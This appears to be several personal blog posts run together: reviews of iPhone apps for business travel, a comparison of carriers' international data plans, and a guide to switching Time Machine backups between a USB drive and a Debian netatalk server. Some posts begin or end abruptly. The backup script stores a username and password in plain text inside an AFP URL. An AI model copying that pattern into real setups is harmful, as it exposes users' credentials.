Projects: Merlin allows you to open Microsoft Project files on a Mac. I find its a better and easier solution than the OmniPlan product that seems so popular. I wish they didn’t nickel and dime for add-ons like mobile or web support, but I find the tool invaluable in keeping project plans updated.

WebEx: The best mobile conferencing solution for teleconferencing. The application is well integrated and upon clicking a link from a meeting invitation opens up and joins the conference. Performance over 3g is acceptable enough for talking and viewing the charts or presenters screen.

SpiderOak: People love some Dropbox, but for those of you security conscious there is no reason you should be. SpiderOak is less seamless and the sync process ugly, but once it is setup the dump files into a folder and sync mentality works fine. The mobile client just BARELY passes into usable for things, but it has saved my bacon for pulling some archived file from 4 years ago so I keep it loaded.

Finance:

QuickBooks: For living in the cloud and being able to get a snapshot of your company anywhere in the world, QuickBooks is hard to beat. The reports on the mobile version are limited, but for seeing outstanding invoices, payroll, or P/L ratio from your mobile device it comes highly recommended.

E*Trade: Simple app for access to their banking and trading features. Nothing to knock your socks off.

Mint.com: Personal finance on the go is as important as the business side. Mint lets me see cash-flow and bills in my personal realm. The ability to sort expenses and see when things hit make managing my money abroad no problem. Great little app.

Expensify: How much do I love this app… Receipts tucked into your wallet is for the birds. Expensify’s mobile app lets me take a snapshot offline or online and upload it to my most recent travel report. It has changed the way our company has managed the extensive worldwide travel. Why this isn’t in use by every major company is beyond me.

USAA: Love this app more than Expensify. Insurance, banking, investments, bill payment all from a simple to use app. Being able to deposit checks anywhere in the world is icing on the cake. This app is what all banking apps should strive for. USAA checking and savings no longer requires military service so if you are considering moving banks, recommend highly you consider USAA.

Bank of America: What a difference compared to USAA. We use this for our business banking (as USAA has no business accounts) and frankly I avoid it like the plague. App is limited and ugly, hard to navigate, and really we use

Travel:

TripIt: Internally to the company we use TripIt to determine where the hell everyone is at. With autoimport and the ability to simply forward things to plans@tripit.com our team is able to get a view of where everyone is at. In addition the app lets you check flight status or get directions to the hotel/train/etc. Great app, but it is upsetting that paid TripIt accounts does not translate into no ads in the application.

Yelp: When you are all over the place its hard to figure out where to eat. Yelp works well enough for big European cities and the US, but falls flat in rural anywhere. All the same its good for when you grow tired of the 2 restaurants near the hotel or the ones you ate at last time you were there.

Boingo: I avoid airports without free Wifi. The idea that I have to pay 10 EURO or USD an hour to surf at limited speeds is evil. With that said there are airport hubs like Munich and Frankfurt that force it. Boingo mobile is cheaper and I can be assured that the 10 USD I spend will transfer to other places unlike T-mobile’s German wifi credits.

Navigon: Offline GPS that works! Data is too expensive to use it finding directions. Navigon at one point was cheap, but is now pretty expensive. With that said it works great and has an extensive map collection (if you shell the dollars out) that covers most of the places I go. Still can’t wrap my head around why European maps are 119.99 dollars vs. 59.99 for the much more extensive US, but oh well. It can be a little confusing for entering POI and address, but once you are over the learning curve its usable.

Kayak: Love me some Kayak! Its flexible search criteria and multiple vendors pricing makes finding the cheapest tickets easy and quick. App is perfect for finding an alternate flight when you are in Dubai and need to get home or to your next meeting.

Skype Wifi: Wifi credits for those few places that Boingo doesn’t cover. I alternate between these two Wifi apps as the Skype credits are more expensive, but also transfer to my laptop.

OpenTable: Reservations on the go. This will sound incredibly anti-social, but there are times I don’t want to talk to someone. Business meeting for a 4 booked while walking to the metro station.

XE Currency: How much is that hotel really? Is the price in Euro’s or Pounds more than the USD price? It has saved me a few bucks by helping me sanity check stores and venues. Converts quickly and allows for historical looks at exchange rates for expense reports.

Orbitz: Sometimes Kayak is tough to drill down and book a flight with. Orbitz abstracts away those problems and makes it easy to build a travel package (car, hotel, flight) without much work. Okay app, but very clunky and for lots of features just dumps you to their mobile website.

Transportation:

I have to seperate these apps out of the Travel folder as iOS limits the number I can place in each. The jailbreak hack to get around that seems to be buggy so I just move apps related to transportation here. When I go to other countries I will load up the France, UK, etc. versions, but for now this is what I am using.

Fahrinfo: Out of the two German train apps listed in this folder, Fahrinfo is far superior. The app is more intuitive and English friendly. This is possibly due to the fact there are more english speakers in Berlin.

Navi S-Bahn Munchen: The train system in Munich is pretty spiffy, but the schedules and announcements are not English friendly. This app helps me learn about train delays or track closures.

Railway NL: The app is pretty to look at and does its job, but you better speak Dutch. There is no translation of this app into English despite the App Store description being in English. If you are riding the train in the Netherlands this is a must have.

KLM: Meh is how I feel about this app. It works for tracking miles on my account, trips, and bookings. The app works and is at the very least makes my mad dashes through Schiphol well planned. In the end its MUCH better than the United app listed next.

United: What a cluster frack of a GUI. The app allows you to setup alerts and check-in, but heaven forbid there is a problem. The buttons are difficult to hit with a finger and the gimmicky animations just slow down what is a desired quick information dump. The merger has been unfriendly to the airline and in addition the app.

Parkmobile: I don’t carry money anymore. The idea of a pocket full of rattling coins doesn’t work for me. This app has changed the way I park in DC. With its ability to auto alert me of my soon to end parking payment I am able to skip the standard DC 25 USD ticket and just add time. The Find My Car is a neat feature too for those times you have wandered a little too far from what you know. Works in multiple US cities around the country.

Amtrak: I rarely use Amtrak due to it sucking wind, but I do like to compare fares when deciding if its going to be plane, train, or automobile. I will shy away from comparisons with the European train system (cheaper, faster, reliable, etc.) and instead say the app is pretty nice. It is well organized and easy to get to the information you need on booking a train. Still very limited for eTickets, but as I understand that feature is expanding to new sites soon.

Tunnels DC: There are tons of DC Metro apps, but this one is the nicest of the bunch. The alerts, favorite locations, and ability to see when the next few trains are due to arrive is instrumental in planning your day around the city.

SWISS: I find the app ugly in appearance, but multilingual and quick to navigate. The mobile boarding passes work as described and it allows you to receive trip and flight status updates. Nothing to write home about.

Lufthansa: Airlines need to hire whoever developed this app ASAP. It is pretty on the eyes and useable. The functions are limited (check-in and mobile passes only) but with each new release expanding.

Personal:

These are apps that are not business related, but keep me sane and plugged in. Listed to round-out the list:

JetPack Joyride: Love this stinking game. The translation from iPad to iPhone is seamless.

Rdio: Limited, sucky, and to the point I am going to switch to Spotify. Works well enough, but unimpressive.

Pandora: Love the app and service.

Flight Control: Fun game that seems appropriate to play while flying. Hope the ATC in real life are better at this than me.

Facebook: Buggy and limited, but it gives you access to the majority of the functions the website does. For keeping in touch around the world its wonderful.

LinkedIn: For professional engagements and resume searching it is pretty spiffy. I am not a big fan of the UI, but for answering messages and connecting with business folks its good enough. The import of contract information into your iphone address book is a great addition.

BeejiveIM: Bought it back when IM with push was an infant on the iPhone. We utilize Jabber internally and it works well enough for that. Meta-contact support is nice for filtering multiple networks into a single line item. The offline and push support are hit or miss so don’t depend on it for anything mission critical.

Instagram: I see a lot of nifty things around the world, but take crappy pictures. Filters add a little flair that almost convinces people I have an artistic side. Like the social aspect in the app a lot too.

Twitter: Quality of this app has gone WAY WAY down in recent releases. On the prowl for something less sucky, but for now it works.

TimeTuner: Sometimes it is hard for me to shutoff the brain when I am in hotel rooms. I use TimeTuner to listen to my favorite news stations from around the world and have them shutoff in a set amount of time. The app is pretty and the dim functions are useful. I purchased this ages ago when there were few apps like it. If I was on the market today I might look elsewhere as the developer has slowed down greatly on fixes and updates.

DVPRemote: I can never find the darn remote when we are watching TV, but I always have the phone or iPad nearby. The remote is better for navigating than the one supplied with the device. If you have a Roku I consider this a much purchase. Also fun if you have a VPN to your house to change the TV when someone is watching it from Germany and freak them out :)

Netflix: This plus my home server VPN and I have netflix from any country in the world. App works well enough.

 Hulu Plus: I swear there is a conspiracy on the lack of AirPlay support for this app between Hulu and Apple. Other than that as I said in the Netflix section it at least allows viewing TV shows when in foreign places.

IP Cam Viewer: I am not home a lot, but this app and the camera setup around my property allow me to keep an eye on things.

I do some averages to hide our customer’s privacy and locations. It also helps for those not traveling to a single country, but rather across many different places. I think this more reflects the average traveler who is taking a European cruise and starts in the Netherlands and ends up in France/Germany/Belgium/etc.

The other oddball out here is I include the Tmobile Blackberry plan. It is so drastically different due to the rate structure I feel it important for comparison.

Links to each vendors international information:

• Sprint
• Verizon
• Tmobile
• AT&T Wireless

GR&A

My ground rules and assumptions for the table are as follows:

1. You have a locked phone to the carrier listed
2. You use on average ~800 MiB of data per month for standard business communications
3. You want EVERY international option for calls/txt rates

General Findings

• They all suck.
• Force yourself to use a blackberry and you can get out pretty cheap with Tmobile, but be 100% your data is BIS related or your screwed
• Tmobile has Wifi calling built into many of their phones which can save you some heartache
• Use Google Voice to save some more money
• HOLY TOLEDO BATMAN some of the costs here are more than a nice car

Rankings by price per month

1. Tmobile Blackberry Plan which only helps with data. If you are wanting to use voice abroad you better get ready for some hurt. My voice alone last month was 550 USD of the 700 dollar bill
2. AT&T Wireless 800MiB Plan with Options
3. Verizon with the 300MiB Plan with Options and Overages
4. Tmobile screwed over plan
5. Sprint screwed over totally

Link to Table of Data is HERE

Updated to include 300 minutes of voice HERE

The Ingredients:

1. Apple Thunderbolt Display
2. MacBook Air 11″
3. OS X 10.7 Lion which added the tmutil command
4. Iomega eGo USB Drive
5. Debian 6.0 Server with oodles of encrypted disk space
6. Gigabit network
7. ControlPlane for geolocation detection

Secret Magic Scripts:

First we need to create a HOME script. This will be called when the MacBook Air detects that it is on a super-fast connection instead of that yucky Wifi.

sudo vi /opt/local/bin/switchtimemachinehome.sh

#!/bin/bash
#This will change your Time Machine setting the backup to your home server
sleep 5
tmutil setdestination afp://username:password@10.10.10.1/TimeMachineNAS/
sleep 5
tmutil startbackup

Obviously you will want to modify the username:password and destination. Something that will trip you up (hopefully) is your complex password does not work in the URL. If this is the case then please use the below AppleScript to modify it for you. Standard POSIX/UNIXy type things do not work.

Open AppleScript Editor and put in the following and run

set theText to "I want to pass this text, via GET, to a url!"
set theText to text returned of (display dialog "encode what" default answer theText)
set theTextEnc to urlencode(theText) of me
display dialog theTextEnc default answer theTextEnc

on urlencode(theText)
set theTextEnc to ""
repeat with eachChar in characters of theText
set useChar to eachChar
set eachCharNum to ASCII number of eachChar
if eachCharNum = 32 then
set useChar to "+"
else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
set firstDig to round (eachCharNum / 16) rounding down
set secondDig to eachCharNum mod 16
 

if firstDig > 9 then
set aNum to firstDig + 55
set firstDig to ASCII character aNum
end if

if secondDig > 9 then
set aNum to secondDig + 55
set secondDig to ASCII character aNum
end if
 

set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
set useChar to numHex
end if
set theTextEnc to theTextEnc & useChar as string

end repeat
return theTextEnc
end urlencode

After that we need to give ControlPlane something to call when we are on the road and have nothing but that simple USB drive we lug around.

sudo vi /opt/local/bin/switchtimemachinemobile.sh

#!/bin/bash
#This will change your Time Machine setting the backup to your home server
sleep 5
tmutil setdestination /Volumes/RubbageHolder/
sleep 5
tmutil startbackup

Lets now make both files executable or the scripts will fail

sudo chmod +x /opt/local/bin/switchtimemachinehome.sh

sudo chmod +x /opt/local/bin/switchtimemachinemobile.sh

Letting the Penguins talk to the Fruit:

In order for our Debian server to be useful we need to give it a secret decoder ring. This means installing some software and announcing itself a certain way for the Mac machines to recognize it as a Mac Server. You can also do this with a standard Mac server, but I prefer my servers to be Linux/BSD based. NOTE: If you are securing your backups using encrypted USB drives, but fail to encrypt your home NAS – SHAME ON YOU! So lets get started by issuing a SSH to our home server.

1. sudo apt-get install netatalk avahi-daemon
2. sudo vi /etc/netatalk/AppleVolumes.default
3. Add the line: /share/Backup           “TimeMachineNAS”         options:tm to the end of the file

<?xml version="1.0" standalone='no'?><!--*-nxml-*-->
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
<name replace-wildcards="yes">%h</name>

<service>
 <type>_afpovertcp._tcp</type>
 <port>548</port>
</service>

<service>
 <type>_device-info._tcp</type>
 <port>0</port>
 <txt-record>model=Xserve</txt-record>
</service>

<service>
 <type>_adisk._tcp</type>
 <port>9</port>
 <txt-record>sys=waMA=00:00:00:00:00,adVF=0x100</txt-record>
 <txt-record>dk0=adVF=0x83,adVN=TimeMachineNAS</txt-record>
</service>

</service-group>

Convince the Mac its right at home:

To convince the Mac machine that its talking to an approved machine we have to open a Terminal and type in the following command: defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1

Location, Location, Location:

The next few steps are important and complicated, but its the logic we assign to your Mac to know which location it is in. ControlPlane can provide many rules to determining location such as network adapter, bluetooth, time of day, etc. Since I have that spiffy new Thunderbolt Display I am lucky enough to have a guaranteed en3 network adapter each time I plugin. Your adapter may vary, but the logic in the following screenshots states: IF en3 (Display Adapter) is active THEN assume the location of the laptop is home. Inversely if en3 is not active then assume the machine is away. For me this works great for when the laptop is upstairs, but still in the house. I obviously wouldn’t want to backup 256GiB over the wifi link.

1. Open ControlPlane and ensure that it is started at login and that Enable automatic switching is in use

2. Under evidence sources ensure that NetworkLink (or whatever you are using as the rule indicator) is checked

3. Create two new Contexts; Home and Away

4. Click the “+” and add a new rule

5. First rule states the en3 link is active and context is HOME

6. Next create an en3 is INACTIVE rule and assign it to Away. Your Rules screen should look like the below

7. With rules and contexts in place we can assign actions to those Context by executing our shell script switchtimemachinehome.sh on Context Home…

8. And executing shell script switchtimemachinemobile.sh on Context Away